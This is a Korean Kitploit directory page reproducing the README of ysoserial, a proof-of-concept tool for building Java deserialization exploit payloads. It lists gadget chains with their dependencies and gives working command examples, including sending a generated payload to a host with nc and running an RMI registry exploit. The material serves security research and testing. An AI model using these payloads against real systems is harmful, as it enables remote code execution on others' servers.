Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ysoserial — 안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명 도구입니다. | Kitploit
도구/GitHubGitHub/frohoff/ysoserial
Exploit FrameworksPayload GenerationVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrohoff/ysoserial

ysoserial

안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명 도구입니다.

저장소 보기
9.0k1.9k8개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명 도구입니다.

logo

설명

원래 AppSecCali 2015 발표 "Marshalling Pickles: how deserializing objects will ruin your day" 의 일부로 공개되었으며, Apache Commons Collections (3.x 및 4.x), Spring Beans/Core (4.x), Groovy (2.3.x)용 가젯 체인이 포함되어 있습니다. 이후 JRE <= 1.7u21 및 기타 여러 라이브러리에 대한 추가 가젯 체인으로 업데이트되었습니다.

__ysoserial__은 일반적인 Java 라이브러리에서 발견된 유틸리티 및 속성 지향 프로그래밍 "가젯 체인" 모음으로, 적절한 조건에서 객체의 __안전하지 않은 역직렬화__를 수행하는 Java 애플리케이션을 악용할 수 있습니다. 메인 드라이버 프로그램은 사용자가 지정한 명령을 받아 사용자가 지정한 가젯 체인에 래핑한 후 이 객체들을 직렬화하여 stdout으로 출력합니다. 필요한 가젯이 클래스패스에 있는 애플리케이션이 이 데이터를 안전하지 않게 역직렬화하면 체인이 자동으로 호출되어 명령이 애플리케이션 호스트에서 실행됩니다.

취약점은 안전하지 않은 역직렬화를 수행하는 애플리케이션에 있으며, 클래스패스에 가젯이 있는 것 자체에는 있지 않다는 점에 유의해야 합니다.

면책 조항

이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하도록 의도되지 않았습니다. 프로젝트 유지관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

사용법

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

예제

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

설치

GitHub release

GitHub 릴리스에서 최신 릴리스 jar를 다운로드하세요.

빌드

Java 1.7+ 및 Maven 3.x+ 필요

mvn clean package -DskipTests

코드 상태

Build Status Build status

기여하기

  1. 포크하기
  2. 기능 브랜치 생성 (git checkout -b my-new-feature)
  3. 변경사항 커밋 (git commit -am 'Add some feature')
  4. 브랜치에 푸시 (git push origin my-new-feature)
  5. 새로운 Pull Request 생성

참고 자료

  • Java-Deserialization-Cheat-Sheet: 취약점, 도구, 블로그/기록 등에 대한 정보
  • marshalsec: 다양한 Java 역직렬화 형식/라이브러리에 대한 유사 프로젝트
  • ysoserial.net: .NET 역직렬화에 대한 유사 프로젝트
도구 다운로드